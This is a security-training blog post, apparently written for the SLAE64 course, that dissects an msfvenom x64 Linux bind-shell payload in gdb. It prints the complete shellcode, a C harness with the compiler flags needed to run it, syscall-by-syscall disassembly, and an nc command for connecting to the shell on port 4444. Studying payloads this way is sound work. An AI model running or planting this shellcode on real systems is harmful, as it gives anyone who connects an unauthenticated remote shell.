Msfvenom generated bind_tcp shellcode analysis

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification. The task for 5.2/7 assignment is to analyse at least 3 shellcode examples created using Msfpayload for linux/x86_64. Since msfpayload is outdated, I used msfvenom instead. The analysis of the shellcodes is carried out using the gdb debugger and 2/3 shellcode analysed in this article is the shell_bind_tcp payload.

Student ID: SLAE64 - 1594

MSFvenom generated linux/x64/shell_bind_tcp payload

As a follow up to analysing exec shellcode, the second payload I chose is the linux/x64/shell_bind_tcp payload. By description, this payload is used to spawn a command shell and listen for a connection. In order to generate the payload I used the following command:

msfvenom -p linux/x64/shell_bind_tcp -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 86 bytes
Final size of c file: 386 bytes
unsigned char buf[] =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52"
"\xc7\x04\x24\x02\x00\x11\x5c\x48\x89\xe6\x6a\x10\x5a\x6a\x31"
"\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a\x2b\x58\x0f"
"\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
"\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";

Shellcode test program

To analyse the generated payload I am placed it into the C program from where we will be executing the shellcode:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52"
"\xc7\x04\x24\x02\x00\x11\x5c\x48\x89\xe6\x6a\x10\x5a\x6a\x31"
"\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a\x2b\x58\x0f"
"\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
"\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";

int main()
{
  printf("Shellcode Length:  %d\n", (int)strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}

and finally compiled the C program as follows:

gcc -m64 -fno-stack-protector -z execstack testshellcode.c -o testshellcode -no-pie

Analysis

Examining the generated shellcode in gdb, shows us that 6 syscalls will be executed, so let’s divide our analysis into 6 separate steps.

1 - socket() syscall

We can see that the 1st syscall is the socket syscall, as rax is initialized to 0x29 (41). From socket syscall man page, we can easily validate that this syscall takes 3 arguments and as a result will return a file descriptor.

  • rdi –> 0x2 for AF_INET
  • rsi –> 0x1 for type SOCKSTREAM
  • rdx –> 0x0 for protocol. rdx is zeroed out with the cdq instruction
Dump of assembler code from 0x601060 to 0x6010b6:
=> 0x0000000000601060 <code+0>:	push   0x29
   0x0000000000601062 <code+2>:	pop    rax
   0x0000000000601063 <code+3>:	cdq
   0x0000000000601064 <code+4>:	push   0x2
   0x0000000000601066 <code+6>:	pop    rdi
   0x0000000000601067 <code+7>:	push   0x1
   0x0000000000601069 <code+9>:	pop    rsi
   0x000000000060106a <code+10>:	syscall

2 - bind() syscall

The usecase for the bind() syscall is to bind to the socket created in step 1. The way to identify the bind() syscall here are the 2 lines just before the syscall instruction. Value 0x31 is pushed to the stack and then right after, popped to rax, which by convention is where we need to have the syscall number.

Looking at the layout of a bind ` int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen); syscall we can get the most important bits of information for us (ip address and the port) if we understand the sockaddr *addr structure. By looking at line mov DWORD PTR [rsp],0x5c110002` we can deduct the following:

  • 02 –> AF_INET for ipv4 address family
  • 00 –> INADDR_ANY, so it will try to connect to 0.0.0.0
  • 5c11 –> is in the network byte order (big endian). Once we change that to little endian 115c and convert it to decimal, we get that the port this shellcode is trying to connect to is 4444
   0x000000000060106c <code+12>:	xchg   rdi,rax
   0x000000000060106e <code+14>:	push   rdx
   0x000000000060106f <code+15>:	mov    DWORD PTR [rsp],0x5c110002
   0x0000000000601076 <code+22>:	mov    rsi,rsp
   0x0000000000601079 <code+25>:	push   0x10
   0x000000000060107b <code+27>:	pop    rdx
   0x000000000060107c <code+28>:	push   0x31
   0x000000000060107e <code+30>:	pop    rax
   0x000000000060107f <code+31>:	syscall

3 - listen() syscall

listen() syscall corresponds to 0x32 (50) and by convention is takes 2 arguments int listen(int sockfd, int backlog); Since rdi is already prepared for us from previous syscalls, all we will see here is the preparation of the syscall value for rax.

   0x0000000000601081 <code+33>:	push   0x32
   0x0000000000601083 <code+35>:	pop    rax
   0x0000000000601084 <code+36>:	syscall

4 - accept() syscall

Once we are listening on the port, the next thing what should happen is some other party initiating a connection. When that happens, shellcode should be able to accept that incoming connection. This is where accept() syscall comes into play.

   0x0000000000601086 <code+38>:	xor    rsi,rsi
   0x0000000000601089 <code+41>:	push   0x2b
   0x000000000060108b <code+43>:	pop    rax
   0x000000000060108c <code+44>:	syscall

5 - dup2()

dup2() goes by the syscall number 0x21 (33) and it takes 2 arguments int dup2(int oldfd, int newfd);, the old file descriptor in rdi and the new file descriptor in rsi. As we need to apply it for stdin, stdout and stderr, which correspond to the numbers 0,1 and 2, it makes sense to do it in a loop and this is exactly what msfvenom has generated for us. each round rsi is decremented by 1, and then checked in the end of the loop whether or not it has reached to 0.

   0x000000000060108e <code+46>:	xchg   rdi,rax
   0x0000000000601090 <code+48>:	push   0x3
   0x0000000000601092 <code+50>:	pop    rsi
   0x0000000000601093 <code+51>:	dec    rsi
   0x0000000000601096 <code+54>:	push   0x21
   0x0000000000601098 <code+56>:	pop    rax
   0x0000000000601099 <code+57>:	syscall
   0x000000000060109b <code+59>:	jne    0x601093 <code+51>

6 - execve() the finale

This shellcode ends up executing the execve syscall, which all of us are now way too familiar with from my previous posts, but for the sake of it let’s go through it again :). So execve() goes by the 0x3b (59) syscall number and it takes 3 arguments.

  • instruction cdq allows us conveniently to sign-extend the value in rax and make sure that rdx is zeroed out. This is what would hold the environment variables if we wanted to pass any.
  • With instructions at offsets +65, +75 and +76 we place the address with the program name which we want to execute, /bin/sh, to rdi
  • with instructions at offsets +79, +80 and +81 we first place the address from rdi to the stack again. So we end up with an address at rsp pointing to the address where we have stored string /bin/sh. Image addr –> addr –> /bin/sh.
   0x000000000060109d <code+61>:	push   0x3b
   0x000000000060109f <code+63>:	pop    rax
   0x00000000006010a0 <code+64>:	cdq
   0x00000000006010a1 <code+65>:	movabs rbx,0x68732f6e69622f
   0x00000000006010ab <code+75>:	push   rbx
   0x00000000006010ac <code+76>:	mov    rdi,rsp
   0x00000000006010af <code+79>:	push   rdx
   0x00000000006010b0 <code+80>:	push   rdi
   0x00000000006010b1 <code+81>:	mov    rsi,rsp
   0x00000000006010b4 <code+84>:	syscall

To test out the msfvenom generated payload simply run the compiled version of the payload and open another tab to make the connection nc 0.0.0.0 4444.


© 2019. All rights reserved.

Powered by Hydejack v8.1.1